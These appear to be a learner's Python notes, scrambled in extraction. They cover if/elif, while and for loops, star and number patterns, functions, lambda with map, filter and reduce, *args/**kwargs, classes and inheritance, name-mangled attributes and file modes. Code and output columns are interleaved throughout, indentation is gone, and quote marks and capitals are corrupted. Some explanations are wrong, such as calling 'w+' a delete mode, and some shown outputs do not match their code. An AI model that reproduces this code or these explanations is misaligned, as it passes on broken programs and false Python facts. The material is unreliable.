a = int(input('Enter your age:- ')) a = int(input('Enter your age:- '))

if a >= 18: if a >= 18:

print('You are eligible for Voting') print('You are eligible for Voting')
else: else:
print('Your not Eligible for Voting') print('Your not Eligible for Voting')

:- :-
Enter your age:- 5 Enter your age:- 19
Your not Eligible for Voting Your are eligible for Voting

a = int(input('Enter your first number :-')) Enter your first number :- 5

b = input('Select your Operators :-')
c = int(input('Enter your second number :-')) Select your Operators :- +
Enter your second number :- 5
if '+' in b: Adding :- 10
print('Adding :-', a + c)
elif '-' in b:
print('Subtracting :-', a - c)
elif '*' in b:
print('Multiplying :-', a * c)
elif '/' in b:
print('Division :-', int(a/c))
else:
print('Wrong-Operator')

a = int(input('Enter the value ')) a = int(input('Enter the value '))

b = int(input('Enter the value ')) b = int(input('Enter the value '))

if a < b: if a < b:
print('a is smaller than b') print('a is smaller than b')
print('Done') print('Done')
else: else:
print('a is greater than b') print('a is greater than b')

Enter the value 6

Enter the value 5 Enter the value 4
Enter the value 6 :-
:-
a is greater than b
a is smaller than b
Done

a = int(input('Enter the value ')) Enter the value 5

b = int(input('Enter the value ')) Enter the value 6
c = int(input('Enter the value '))
d = int(input('Enter the value '))
Enter the value 7
Enter the value 8
if a<b and b<c and c<d: :-
print('a is less than b') a is less than b
print('b is less than c') b is less than c
print('c is less than d') c is less than d
a = int(input('Enter your age ')) a = int(input('Enter your age '))

if a >= 18 and a<= 100: if a >= 18 and a<= 100:

print('You are eligible for voting') print('You are eligible for voting')
else: else:
print('You are not eligible for print('You are not eligible for
voting') voting')

:- :-
Enter your age 101 Enter your age 19
You are not eligible for voting You are eligible for voting
Elif :- if one condition if False then elif is True Run. if 2>3:
print('2 is less than 3')
if 2>3: elif 3>4:
print('2 is less than 3') print('3 is less than 4')
elif 3 < 4: elif 4<5:
print('3 is less than 4') print('4 is less than 5')
elif 4>5: elif 6 < 7:
print('4 is less than 5') print('6 is less than 7')
elif 6 > 7: else:
print('6 is less than 7') print('all conditions are false')
:-
else: 4 is less than 5
print('all conditions are false')
:-
3 is less than 4
a = int(input('enter your value 1-7 ')) a = int(input('enter your value 1-7 '))

if a == 1: if a == 1:
print('Sunday') print('Sunday')
elif a == 2: elif a == 2:
print('Monday') print('Monday')
elif a == 3: elif a == 3:
print('Tuesday') print('Tuesday')
elif a == 4: elif a == 4:
print('Wednesday') print('Wednesday')
elif a == 5: elif a == 5:
print('Thursday') print('Thursday')
elif a == 6: elif a == 6:
print('Friday') print('Friday')
elif a==7: elif a==7:
print('Saturday') print('Saturday')
else: else:
print('You have entered invalid Number') print('You have entered invalid Number')
enter your value 1-7 1 enter your value 1-7 8
Sunday You have entered invalid Number

Nested-if :- One if Is True then another if Run. if 2<3:

print('2 is less than 3')
if 2 < 3: if 6<5:
print('2 is less than 3') print('5 is less than 6')
if 5<6: if 6<7:
print('5 is less than 6') print('6 is less than 7')
if 6<7:
print('6 is less than 7') :-
:- 2 is less than 3
2 is less than 3
5 is less than 6
6 is less than 7
a = int(input('enter the value ')) a = int(input('enter the value '))
if a >= 0: if a >= 0:
if a > 0: if a > 0:
print('Positive Number') print('Positive Number')
if a ==0: if a ==0:
print('zero number') print('zero number')
else: else:
print('negative number') print('negative number')

:- :-
enter the value 5 enter the value 0
Positive Number zero number
if 2>3: if 2<3:
print('2 is less than 3') print('2 is less than 3')
if 6<5: if 6>5:
print('5 is less than 6') print('5 is less than 6')
if 6<7: if 6>7:
 print('6 is less than 7') print('6 is less than 7')
else: else:
print('Not value') print('6 is not greater than
7')
:- else:
Not value print('Not value')

:-
2 is less than 3
5 is less than 6
6 is not greater than 7

if 2<3:
print('2 is less than 3')
if 6<5:
print('5 is less than 6')
if 6<7:
print('6 is less than 7')
if 7<8:
print('7 is less than 8')
else:
print('7 is not greater than 8')
else:
print('6 is not greater than 7')
else:
print('6 is not greater than 5')
else:
print('Not value')

:-
2 is less than 3
6 is not greater than 5
 Loops
• While-Loop
• For-Loop

While-Loop has Three Rules to follow:-

• Initialize :- A variable a = anything, a = 1

• Conditions :- after while side :- while a<=10:
• Statement :- Nest-line of while :- print(‘This is a while Loop’,a)
• Increment :- a+= 1

a = 1 This is a While Loop 1

This is a While Loop 2
while a <= 10:
print('This is a While Loop',a)
This is a While Loop 3
a += 1 This is a While Loop 4
This is a While Loop 5
This is a While Loop 6
This is a While Loop 7
This is a While Loop 8
This is a While Loop 9
This is a While Loop 10
a = 1 This is a While Loop 1
while a < 10: This is a While Loop 2
print('This is a While Loop',a)
a += 1
This is a While Loop 3
This is a While Loop 4
This is a While Loop 5
This is a While Loop 6
This is a While Loop 7
This is a While Loop 8
This is a While Loop 9
a = 10 This is while lOOP 10
This is while lOOP 9
while a > 0:
print('This is while lOOP',a)
This is while lOOP 8
a -= 1 This is while lOOP 7
This is while lOOP 6
This is while lOOP 5
 This is while lOOP 4
This is while lOOP 3
This is while lOOP 2
This is while lOOP 1
a = 10 This is while lOOP 10
This is while lOOP 9
while a > 0:
print('This is while lOOP',a)
This is while lOOP 8
a -= 1 This is while lOOP 7
else: This is while lOOP 6
print('Terminated') This is while lOOP 5
This is while lOOP 4
Note:- else always printed whenever This is while lOOP 3
conditions False or True
This is while lOOP 2
This is while lOOP 1
Terminated

n = int(input('Enter any Value ')) Enter any Value 5

a = 1 5*1=5
while a<=10:
5 * 2 = 10
print(n,'*',a,'=',n*a) 5 * 3 = 15
a+=1 5 * 4 = 20
5 * 5 = 25
5 * 6 = 30
5 * 7 = 35
5 * 8 = 40
5 * 9 = 45
5 * 10 = 50
a = 1 #Initialize 1 1
2 4
while a<=10: #Conditions
print(a,'\t',a**2) #Statement
3 9
a += 1 #Increment 4 16
5 25
‘\t’:- It is for extra spaces. 6 36
7 49
8 64
9 81
10 100
a = 1 # Initialize Numbers Squares
print('Numbers','\t','Squares') 1 1
while a <= 10: # Conditions
print(a, '\t\t', a ** 2) #
2 4
3 9
Statement 4 16
a += 1 # Increment 5 25
6 36
7 49
8 64
9 81
10 100
a = 0 # Initialize 1
# print('Numbers','\t','Squares') 2
while a <= 10: # Conditions
a+=1
4
if a==3: 5
continue 6
print(a) 7
8
continue:- It is use to Skip a part 9
then other will Print
10
11

a = 0 # Initialize 1
# 2
print('Numbers','\t','Squares')
while a < 10: # Conditions
4
a+=1 5
if a==3: 6
continue 7
print(a) 8
9
10

a = 0 0
while a < 5: 1
if a == 3:
break
2
print(a)
a+=1

break:- It is used to break the

code and rest of them will not
Run
a = 1 1
while a<= 5: 2
if a==3:
pass #It is a null
3
4
5
 print(a)
a += 1

pass:- It is a null argument

only

Nested-while-Loop
Initialize
while condition: (Outer-Loop (Row) -> It doesn’t print anything)
Initialize
while condition: (Inner-Loop (Column) -> It prints in column)
statement
Increment/Decrement
Increment/Decrement
i = 1 1
while i <= 5: #Row 12
j = 1 123
while j <= i: #Column 1234
print(j, end='') 12345
j += 1
print() Note :- If all values same at the column side
i += 1 then use Column-Loop(Inner-Loop)
i = 5 55555
while i >= 1: #Row 4444
j = 1 333
while j <= i: #Column 22
print(i, end='') 1
j += 1
print() Note :- If all values same at the Row side
i -= 1 then use Row Loop Values in Column-Loop.

i = 5 12345
while i >= 1: #Row 1234
j = 1 123
while j <= i: #Column 12
print(j, end='') 1
j += 1
print()
i -= 1

i = 1 1
while i <= 5: #Row 22
j = 1 333
while j <= i: #Column 4444
print(i, end='') 55555
j += 1
print()
i += 1

i = 1 *
while i <= 5: #Row **
j = 1 ***
while j <= i: #Column ****
print(‘*’,end=’’) *****
j += 1
print()
I += 1

i = 1 1
while i <= 5: #Row 12
j = 1 123
while j <= 5 - i: #Column 1234
print(' ',end='') 12345
j += 1
k = 1
while k <= i: #Column
print(k, end='')
k += 1
print()
i += 1
i = 5 5
while i >= 1: #Row 44
j = 1 333
while j <= i - 1: #Column 2222
print(' ',end='') 11111
j += 1
k = 1
while k <= 6 - i: #Column
print(i, end='')
k += 1
print()
i -= 1

i = 1 1
while i <= 5: #Row 22
j = 1 333
while j <= 5 - i: #Column 4444
print(' ', end='') 55555
j += 1
k = 1
while k <= i: #Column
print(i, end='')
k += 1
print()
i += 1

i = 1 *
while i <= 5: #Row **
j = 1 ***
while j <= 5 - i: #Column ****
print(' ',end='') *****
j += 1
k = 1
while k <= i: #Column
print('*', end='')
k += 1
print()
i += 1
 For-Loop
Data-Type -> Sequence-DataType:-List,Tuple,String.

for variable in Data-Type:

print(variable)
a = [12,34,56,78,90] 12
for i in a:
print(i)
34
56
78
90
a = [12,34,56,78,90] 12
for a in a:
print(a)
34
56
78
90
a = [12,34,56,78,90] 12 34 56 78 90
for a in a:
print(a, end=' ')

a = [12,34,56,78,90] 12
for i in a:
print(i)
34
if i == 56: 56
break
a = [12,34,56,78,90] 12
for i in a:
if i == 56:
34
break
print(i)

a = [12,34,56,78,90] 12
for i in a:
if i == 56:
34
continue 78
print(i) 90
a = [12,34,56,78,90] 12
for i in a:
if i == 56:
34
pass 56
print(i) 78
90
Range :-
for variable in range(1,11): for variable in range(1,1):
print(variable, end=’ ‘) print(‘*’)
It will print nothing
1 2 3 4 5 6 7 8 9 10

It will not print last value. It will print less one from the last value.
for i in range (10,0,-1): 10
print(i)
9
8
7
6
5
4
3
2
1
for i in range (5): 0
print(i)
1
2
3
 4
a = [20,21,61,68] 20
for i in a:
if i == 20:
print(i)

a = [20,21,61,68] 20
for i in a:
if i == 20 or i == 68: 68
print(i)

a = 'Harish sharma' Harish sharma

for i in a:
print(i, end='')

a = ['h','a','r','i','s','h']
for i in a:
harish
print(i , end='')

a = 'harish' harish
for i in a:
print(i, end='') Loop-Terminated
else:
print()
print('Loop-Terminated')

for i in range(2,21,2): 2
print(i)
4
6
8
10
12
14
16
18
20
for i in range(1,21,2): 1
print(i)
3
5
7
9
 11
13
15
17
19

Nested-for-Loop
for row in range(1,6):
for column in range(1,6):
print(‘ ’, end=’’)
print()
for i in range(1,6): *
for j in range(1,i+1):
print('*', end='')
**
print() ***
****
*****
for i in range (1,6): 1
for j in range (1, i+1):
print(i, end='')
22
print() 333
4444
55555
for i in range (5,0,-1): *****
for j in range (1, i+1):
print('*', end='')
****
print() ***
**
*
for i in range (5,0,-1): 12345
for j in range (1, i+1):
print(j, end='')
1234
print() 123
12
1
n = 6 *
for i in range(1,n):
for j in range(1,n-i):
**
print(' ',end='') ***
for k in range(1,i+1): ****
print('*', end='') *****
print()

n = 6 *
m = n+1
for i in range(1,m):
**
for j in range(1,m-i): ***
print(' ',end='') ****
for k in range(1,i+1): *****
print('*', end='')
print()
******

n = 6 *****
for i in range(1,n):
for j in range(1,i):
****
print(' ',end='') ***
for k in range(1,n-i+1): **
print('*', end=' ') *
print()

for i in range(1,6): 1
for j in range(1,6-i):
print(' ',end='')
12
for k in range(1,i+1): 123
print(k, end=' ') 1234
print() 12345
for i in range(1,6): 1
for j in range(1,6-i):
print(' ',end='')
22
for k in range(1,i+1): 333
print(i, end=' ') 4444
print() 55555
for i in range(1,6): *
for j in range(1,6-i):
print(' ', end='')
**
for k in range(1,i+1): ***
print('*', end=' ') ****
print() *****
for i in range(1,6): 12345
for j in range(1,i):
print(' ',end='')
1234
for k in range(1,7-i): 123
print(k, end=' ') 12
print() 1

for i in range(1,6): 11111

for j in range(1,i):
print(' ',end='')
2222
for k in range(6-i): 333
print(i , end=' ') 44
print() 5
for i in range(5,0,-1): 55555
for j in range(5,i,-1):
print(' ',end='')
4444
for k in range(1,i+1): 333
print(i, end=' ') 22
print() 1
password = 1234

for j in range(1,4):
n = int(input('Enter the pin : '))
if n == password:
print('Pin-Done')
break
else:
print('BLOCK')

for i in range(1,6): *
for j in range(1,6-i):
print(' ', end='')
**
for k in range(1,i+1): ***
print('*', end=' ') ****
 print() *****
for l in range(1,6):
for m in range(1,1+l):
****
print(' ', end='') ***
for n in range(1,6-l): **
print('*', end=' ') *
print()

for i in range(5,0,-1): 5
for j in range(1,i):
print(' ', end='')
44
for k in range(1,7-i): 333
print(i, end=' ') 2222
print() 11111
for i in range(1,6):
for j in range(1,i):
11111
print(' ',end='') 2222
for k in range(1,7-i): 333
print(i, end=' ') 44
print()
5

for i in range(1,9): ****************

for j in range(0,9-i):
print('*',end='')
*******__*******
for k in range(1,i): ******____******
print('__',end='') *****______*****
for l in range(0,9-i): ****________****
print('*',end='')
print()
***__________***
**____________**
*______________*

for i in range(0,7):
for j in range(0,7):
if i+j == 3 or i - j == 3 or j - i == 3 or i + j == 9:
print('*',end='')
else:
print(' ', end='')
print()

*
**
* *
* *
 * *
**
*

for i in range(97,123): abcdefghijklmnopqrstuv

print(chr(i), end=' ')
wxyz
for i in range(5,1,-1): 5
print(i)
4
3
2

Functions
Functions :- A function is a block of code which only runs when it is called
anywhere even to another file.
def name():
block of code
def name(): :-
print('This is a Function')
name()
This is a Function

def inp(): :-
a = input('Enter the name ')
print(a)
Enter the name 5
inp() 5

for i in range(5): 0
print(i)
name()
1
2
3
4
This is a Function
for i in range(5): This is a Function
name()
 This is a Function
This is a Function
This is a Function
This is a Function
def add(a,b,c): 36
d = a+b+c
print(d)
add(10,12,14)

def add(a,b,c): 21
d = a+b+c
print(d)
add(6,7,8)

def add(a,b,c): 10 14 2
print(a,b,c)
d = a+b+c
26
print(d)

add(10,14,2)

def add(a=5,b=6,c=0): 31
d = a+b+c
print(d)
add(10,14,7) #Priority

def add(a,c,b=9): 10 9 5
print(a,b,c)
d = a+b+c
24
print(d)
add(10,5)

def add(c,a=5,b=6): 10 14 6
print(c,a,b)
d = a+b+c
30
print(d)
add(10,14)

def add(c,a=5,b=6): 10 14 7
print(c,a,b)
d = a+b+c
31
print(d)
add(10,14,7)

def add(a,b,c): 27
d = a+b+c
 print(d)
add(c=8,b=9,a=10)

a = int(input('Enter ')) Enter 5

def sub(a,b,c):
5 23 56
print(a,b,c) -74
d = a-b-c
print(d)
sub(a,23,56)

Functions.py Function.py
def name():
print('This is a Function') import Functions
name() functions.name()

This is a Function
This is a Function

return:-
def name():
block of code
return result
Return store the result of a function code and in a name of a function and
make it variable.
Nothing will execute below of a return. Even in nested functions.
return makes function a Variable.

Nested-Functions
def calculator(a,b,c): 3
d = a+b+c
print(d)
9
def add(d,e):
a2 = d+e
print(a2)
add(5,4)
calculator(1,1,1)
 def calculator(a,b,c): 3
d = a+b+c
print(d)
11
def add(d,e):
a2 = d+e
return a2
print(add(5,6))

calculator(1,1,1)

Lambda :-

A lambda function is a small anonymous function.

A lambda function can take any number of arguments, but can only have
one expression.

variable = lambda variables…more : result

a = lambda a,b,c : a+b+c 9

print(a(2,3,4))

a = lambda a,b,c,d,f : a+b+c- -6

d-f
print(a(2,3,4,7,8))

Functions :- map,reduce,filter.
Map :- map is a function which iterate every-item of a sequence Data-Type.
Like Tuple,List,String.1
Variable = map(function, variable)
 Variable1 = list(Variable)
a = [1,2,3,4] [1, 4, 9, 16]
def abc(i):
a1 = i*i
return a1
a2 = map(abc,a)
a3 = list(a2)
print(a3)

a = [1,2,3,4] [1, 4, 9, 16]

def abc(i):
a1 = i*i
return a1
a2 = list(map(abc,a))
print(a2)

a = [5,6,7,8] [(5, 5), (6, 6), (7, 7), (8, 8)]

def d(i):
return i,i

a2 = list(map(d,a))
print(a2)

a = [1,2,3,4] [1, 4, 9, 16]

a2 = list(map(lambda i:i*i,a))
print(a2)

a = [1,2,3,4] [1, 4, 9, 16]

b = lambda i:i*i
a2 = list(map(b,a))
print(a2)

Filter :-
a = [4,5,6,7,8,9] [4, 5, 6, 7]
def abc(i):
a1 = i<= 7
return a1
a2 = list(filter(abc,a))
print(a2)
 a = [4,5,6,7,8,9] [4, 5, 6, 7]
abc = lambda i: i <= 7
a2 = list(filter(abc,a))
print(a2)

a = [4,5,6,7,8,9] [4, 6, 8]
abc = lambda i: i %2== 0
a2 = list(filter(abc,a))
print(a2)

Reduce:- It sum the items of any data-type. Mathematical-Operators(+,-,*)

from functools import reduce 24
a = [1,2,3,4]
a2 = reduce(lambda i,j:i*j,a)
print(a2)

*args or *anyname :- You can use any name. return willl not work on *args
def name(*args): abc dcd fdg 65 98
print(*args)
name('abc','dcd','fdg',65,98)

def name(*anything): abc dcd fdg 65 98

print(*anything)
name('abc','dcd','fdg',65,98)

a = ['abc','dcc'] ['abc', 'dcc']

def name(*args):
print(*args)
name(a)

def name(*args): abc

for i in args:
print(i)
dcd
name('abc','dcd','fdg',65,98) fdg
65
98
**kwargs or anyname :- it gets dictionary arguments.

def name(**kwargs): a Apple

for key,value in kwargs.items():
print(key,value)
b Ball
name(a = 'Apple',b='Ball')
def name(**kwargs): ('a', 'Apple')
for key in kwargs.items():
print(key)
('b', 'Ball')
name(a = 'Apple',b='Ball')

def name(**anyname): ('a', 'Apple')

for key in anyname.items():
print(key)
('b', 'Ball')
name(a = 'Apple',b='Ball')

def school(**kwargs): name Harish

for key, value in kwargs.items():
print(key, value)
Roll_no 25
school(name='Harish', Roll_no= 25, Marks = 98, Marks 98
clas = 'IX') clas IX
def school(**kwargs): ('name', 'Harish')
for key in kwargs.items():
print(key)
('Roll_no', 25)
school(name='Harish', Roll_no= 25, Marks = 98, ('Marks', 98)
clas = 'IX') ('clas', 'IX')

Variable in a function can not work outside of a functions and the inside
variable called local-variable.
def name():
a = 56 #local variable
b = 78
c = a+b
print(c)
name()
print(a)#wrong not work

a1 = 1 3
def name():
global a
1
a = 1
b = 1
c = a+b+a1
print(c)
name()
print(a)
 a1 = 1 3
def name():
global a,b
1
a = 1 1
b = 1
c = a+b+a1
print(c)
name()
print(a)
print(b)

a1 = 1 3
def name():
a = 1
b = 1
c = a+b+a1
print(c)
name()

def name(): 2
a = 1
b = 1
3
c = a+b
print(c)
def nickname():
d = 2
e = d+a
print(e)
nickname()
name()

OOPS
The main concept of OOPs is to bind the data and the functions that work on
that together as a single unit so that no other part of the code can access this
data.
self :- it help function argument to get the value. It is must.
 Class :- It can store multiple objects or methods information. It is a BluePrint.
class Cat:
object or method
object:- state, Behaviour, Identiy
state :- color,bread,age
Behaviour :- eating or sleeping
Identity :- name
Creating-Multiple-Objects:
Variable = class()

class anything:
def anything(self): -> Method :- inside information is called Objects.
self.Same-name or different-name = must be same in a function
class cat: abc
def info(self, name, color, work):
self.name = name
red
self.color = color sleep
self.work = work

def info1(self):
print(self.name)
print(self.color)
print(self.work)

a = cat()
a.info('abc','red','sleep')
a.info1()

class cat: abc

def info(self, name, color, work):
self.naming = name
red
self.coloring = color sleep
self.working = work

def info1(self):
print(self.naming)
 print(self.coloring)
print(self.working)

a = cat()
a.info('abc','red','sleep')
a.info1()

class cat: abc red sleep

def info(self, name, color, work):
self.name = name
self.color = color
self.work = work
print(self.name, self.color,
self.work)
def info1(self):
print(self.name)
print(self.color)
print(self.work)

a = cat()
a.info('abc','red','sleep')

class mobile: Name: realme

def info(self, name,color,price,work):
self.name = name
Color: Black
self.color = color Price: 9000
self.price = price Work: Personal
self.work = work
print('Name:',self.name)
print('Color:',self.color)
print('Price:',self.price)
print('Work:',self.work)

a = mobile()
a.info('realme','Black',9000,'Personal')

class mobile: Name: realme

def info(self, name,color,price,work):
self.name = name
Color: Black
self.color = color Price: 9000
self.price = price Work: Personal
self.work = work Realme
 def info1(self):
print('Name:',self.name)
print('Color:',self.color)
print('Price:',self.price)
print('Work:',self.work)

a = mobile() #Creating object

a.info('realme','Black',9000,'Personal')
a.info1()
print(a.name)

class mobile: Name: realme

def info(self, name,color,price,work
global a1
Color: Black
a1 = name Price: 9000
self.color = color Work: Personal
self.price = price
self.work = work

def info1(self):
print('Name:',a1)
print('Color:',self.color)
print('Price:',self.price)
print('Work:',self.work)

a = mobile() #Creating object

a.info('realme','Black',9000,'Personal')
a.info1()
class company: Harish Indirapuram
def info(self,name,address,work):
self.name = name
Software-Developer
self.address = address
self.work = work Harish
print(self.name,self.address,self.work) Indirapuram
a = company()
a.info('Harish','Indirapuram','Software-Developer')
print(a.name)
print(a.address)

Constructor :- Don’t need to call the function. It calls when object calls or
variable. __init__(self), __init__(self,att1,att2….more)
One class has one contructor. Lastes one override
class company: Harish Indirapuram Hacker
def __init__(self,name,address,work):
self.name = name
self.address = address
self.work = work
print(self.name,self.address,self.work)

a = company('Harish','Indirapuram','Hacker')

class company: It is Override

def __init__(self,name,address,work):
self.name = name #Objects
self.address = address
self.work = work
print(self.name,self.address,self.work)

def __init__(self):
print('It is Override')

a = company()
class company: Harish Indirapuram Hacker
def __init__(self,name,address,work):
self.name = name #Objects
Hello word!
self.address = address Salary 30000
self.work = work
print(self.name,self.address,self.work)

def info(self):
print('Hello word!')

def info1(self,Salary):
self.Salary = Salary
print('Salary',self.Salary)

a = company('Harish','Indirapuram','Hacker')
a.info()
a.info1(30000)

Inheritance :- One class attributes use in another class.

Parent-Class :- If class not use any class attribute is called Parent-class.
Child-Class :- If any class use another class attributes is called Child-class.
Steps of Inheritance:-
1. Childclass (Parent-Class)
2. Childclass.functionname(self,att1,att2….more)
Or
Childclass.__init__(self,att1,att2..more).
Childclass also must use constructor.
class car: #Parent-Class ->Single-Inheritance -> 6500 98565
Functions
def info(self, name,color):
Jaguar Black
self.name = name
self.color = color
print(self.name, self.color)

class vehicle(car): #Child-Class

def info1(self, name,color,price,model):
self.price = price
self.model = model
print(self.price, self.model)
car.info(self,name,color)

a = vehicle()
a.info1('Jaguar','Black',6500,'98565')

class car: #Parent-Class ->Single-Inheritance -> 6500 98565

Constructor
def __init__(self,name,color):
Jaguar Black
self.name = name
self.color = color
print(self.name, self.color)

class vehicle(car): #Child-Class

def __init__(self, name,color,price,model):
self.price = price
self.model = model
print(self.price, self.model)
car.__init__(self,name,color)

a = vehicle('Jaguar','Black',6500,'98565')

Multiple-Inheritance :- More than two parent-class is called Multiple-

Inheritance.
A----B
|
Childclass
class car: #Parent-Class ->Multiple-Inheritance -> 98565
Functions
def info(self, name,color):
Jaguar Black
self.name = name 6500
self.color = color
print(self.name, self.color)

class bike: #Parent-Class

def info1(self, price):
self.price = price
print(self.price)

class vehicle(car,bike): #Child-Class

def info2(self,name,color,price,model):
self.model = model
print(self.model)
car.info(self,name,color)
bike.info1(self,price)

a = vehicle()
a.info2('Jaguar','Black',6500,'98565')

class car: #Parent-Class ->Multiple-Inheritance -> 98565

Constructor
def __init__(self, name,color):
Jaguar Black
self.name = name 6500
self.color = color
print(self.name, self.color)

class bike: #Parent-Class

def __init__(self, price):
self.price = price
print(self.price)

class vehicle(car,bike): #Child-Class

def __init__(self,name,color,price,model):
self.model = model
print(self.model)
car.__init__(self,name,color)
bike.__init__(self,price)

a = vehicle('Jaguar','Black',6500,'98565')

Multilevel-Inheritance :-
A—B—C—D
A -> Parent-Class, B,C,D -> Child-Class
class car: 6562
def info(self, name):
self.name = name
656565
print(self.name) Black
Metro
class bike(car): Audi
def info1(self, name,color):
self.color = color
print(self.color)
car.info(self,name)

class cycle(bike):
def info2(self,name,color,price):
self.price = price
print(self.price)
bike.info1(self,name,color)

class train(cycle):
def info3(self,name,color,price,model):
self.model = model
print(self.model)
cycle.info2(self,name,color,price)

a = train()
a.info3('Metro','Black',656565,6562)
a.info('Audi')

Hierarchical inheritance
Multiple Child-Class and One-Parent-Class.

Parent-Class
|
| | | |
Child-Class Child-Class Child-Class Child-Class
 Function-name = methods
Function-attributes = variable, attributes, function.
Function-call = value, arguments
Class-name = objects.
class Animal: #Object ki information store krta h Harish 656
class.

def info(abc,name,color): #first value can be

anything and consider as a self and use as a
Self.
abc.name = name
abc.color = color
print(abc.name, abc.color)

a = Animal()
a.info('Harish',656)

class animal: Dog

def info(self, name,color):
self.name = name
black
self.color = color abcd
self.abc = 'abcd'
print(self.name)
print(self.color)

a = animal()
a.info('Dog','black')
print(a.abc)

class animal: Dog

def info(self, name,color):
self.name = name
black
self.color = color abcd
abc = 'abcd'
print(self.name)
print(self.color)
print(abc)

a = animal()
a.info('Dog','black')
class animal: Sparrow
def info(self, name):
self.name = name
Black
print(self.name) Sparrow

class Bird(animal): Elephants

def info1(self,name,color):
self.color = color
hardwork
print(self.color) Elephants
animal.info(self,name)
class mammal(animal): 65
def info2(self, name,work):
self.work = work Tiger
print(self.work) Tiger
animal.info(self,name)
Zibra
class fish(animal):
def info3(self,name,age):
self.age = age
print(self.age)
animal.info(self,name)

a = Bird()
a.info('Sparrow')
a.info1('Sparrow','Black')

b = mammal()
b.info('Elephants')
b.info2('Elephants','hardwork')

c = fish()
c.info3('Tiger',65)
c.info('Tiger')

d = animal()
d.info('Zibra')

Hybrid-Inheritance :- Combination of all inheritance is called Hybrid-

inheritance.
class animal: Hunt
def info(self, name):
self.name = name
Carnivorous
print(self.name) Tiger

class Bird(animal):
def info1(self,name,color):
self.color = color
print(self.color)
animal.info(self,name)

class mammal(animal):
def info2(self, name,work):
self.work = work
print(self.work)
animal.info(self,name)

class fish(mammal):
def info3(self,name,work,age):
self.age = age
print(self.age)
mammal.info2(self,name,work)

a = fish()
a.info3('Tiger','Carnivorous','Hunt')

class animal: 65
def info(self, name):
self.name = name
Carnivorous
print(self.name) Tiger

class Bird(animal):
def info1(self,name,color):
self.color = color
print(self.color)
animal.info(self,name)

class mammal(animal):
def info2(self, name,work):
self.work = work
print(self.work)
animal.info(self,name)

class fish(mammal):
def info3(self,name,work,age):
self.age = age
print(self.age)
mammal.info2(self,name,work)
 a = fish()
a.info3('Tiger','Carnivorous',65)

class Company:
Harish 56 Male
def info(self,name):
self.name = name Craw
print(self.name) Ravi 65 Fe-male
Origin
class employee(Company): Ajay 98 Male
def info1(self,empname,age,gender,name):
self.empname = empname Nasscom
self.age = age
self.gender = gender
print(self.empname, self.age,
self.gender)
Company.info(self,name)

class marketing(Company):
def info2(self, role,name):
self.role = role
print(self.role)
Company.info(self, name)

class performance(marketing):
def info3(self, performing,role):
self.performing = performing
marketing.info2(self,role)

a = employee()
a.info1('Harish',56,'Male','Craw')

b = employee()
a.info1('Ravi',65,'Fe-male','Origin')

c = employee()
a.info1('Ajay',98,'Male','Nasscom')

Polymorphism :- one class of function use in another class as a same name.

Using super(). function
class cat: abc
def info(self, name,color):
self.name = name
Red
self.color = color Snale Black Bite
print(self.name)
print(self.color)

class Dog(cat):
def info(self, name1,color1,work):
super().info('abc','Red')
self.name1 = name1
self.color1 = color1
self.work = work
print(self.name1, self.color1, self.work)

a = Dog()
a.info('Snale','Black','Bite')

class cat: Snale Black Bite

def info(self, name,color):
self.name = name
abc
self.color = color Red
print(self.name)
print(self.color)

class Dog(cat):
def info(self, name1,color1,work):
self.name1 = name1
self.color1 = color1
self.work = work
print(self.name1, self.color1, self.work)
super().info('abc','Red')

a = Dog()
a.info('Snale','Black','Bite')
class cat: abc
def info(self, name,color):
self.name = name
Red
self.color = color dog red bark
print(self.name) Sparrow
print(self.color) Black
class Dog(cat):
def info(self, name1,color1,work):
super().info('abc','Red')
self.name1 = name1
self.color1 = color1
self.work = work
print(self.name1, self.color1, self.work)

class bird(Dog):
def info(self, name2,color2):
super().info('dog','red','bark')
self.name2 = name2
self.color2 = color2
print(self.name2)
print(self.color2)

a = bird()
a.info('Sparrow','Black')

encapsulation :- it helps to hide the attributes. __ Double-

Underscore.
The code or attribute can not use outside of class but inside
a class can use

class login: AttributeError: 'login' object has no

def info(self):
self.username = 'Harish'
attribute 'password'
self.__password = '123456'

a = login()
a.info()
print(a.username)
print(a.password)
class login: AttributeError: 'login'
def info(self):
self.username = 'Harish'
object has no attribute
self.__password = '123456' '__password'

a = login()
a.info()
print(a.username)
print(a.__password)

class login: AttributeError: 'login'

def __info(self):
self.username = 'Harish'
object has no attribute
self.__password = '123456' 'info'
print(self.username, self.__password)

a = login()
a.info()

class login: AttributeError: 'login'

def __info(self):
self.username = 'Harish'
object has no attribute
self.__password = '123456' '__info'
print(self.username, self.__password)

a = login()
a.__info()

class login: AttributeError: 'login'

def info(self):
self.username = 'Harish'
object has no attribute
self.__password = '123456' '__info'
print(self.username, self.__password)

a = login()
a.info()
 File-Handling :- File handling is an important part of any web application
With the help of file-handling we can create,add,delete the files.
It can not use in image,video, audio.

open()
variable = open(‘file.txt’, ’modes’)
modes :-
• Read(r) :- it help to read the file content inside.
• Append(a) :- it help to append new data inside a file.
• Write(w) :- it help to write and create the file. It doesn’t exist.
• Create(x) :- it only creates file.
• Delete(w+) :- it help to delete the whole content inside a file.

a = open('abc.txt','x') #create only once

a = open('abc.txt','w')
#create blank-file and write
also it is override also.

a = open('abc.txt','w') abc.txt
a.write('Hello')
Hello
a = open('abc.txt','w') abc.txt
a.write('Hello-world') #it is
override. Hello-world

a = open('abc.txt','w+') #it deletes abc.txt

whole text inside a file.

a = open('abc.txt','w') abc.txt
a.write('This is First-line')
a.write('\nThis is Second-Line') This is First-line
This is Second-Line
a = open('abc.txt','a') #it appends abc.txt
the text in a file.
a.write('\nThis is Third-line') This is First-line
a.write('\nThis is Fourth-Line') This is Second-Line
This is Third-line
This is Fourth-Line
a = open('abc.txt','r') #to read the file This is First-line
b = a.read() This is Second-Line
print(b) This is Third-line
This is Fourth-Line
a = open('abc.txt','w')
a.write('This is First-Line\n'
'This is Second-Line\n'
'This is Third-Line\n'
'This is Fourth-Line\n'
'This is Fifth-Line\n'
'This is Sixth-Line\n'
'This is Seventh-Line\n')

a = open('abc.txt','r') This is First-Line

print(a.read()) This is Second-Line
This is Third-Line
This is Fourth-Line
This is Fifth-Line
This is Sixth-Line
This is Seventh-Line
a = open('abc.txt','r') This
print(a.read(4))

a = open('abc.txt','r') This is First-Line

print(a.readline()) #It Give only one line
print(a.readline())#It Give Second-Line This is Second-Line

19
a = open('abc.txt','r') ['This is First-Line\n', 'This is Second-
print(a.readlines()) Line\n', 'This is Third-Line\n', 'This is
Fourth-Line\n', 'This is Fifth-Line\n',
'This is Sixth-Line\n', 'This is
Seventh-Line\n', 'This is Eiegth-
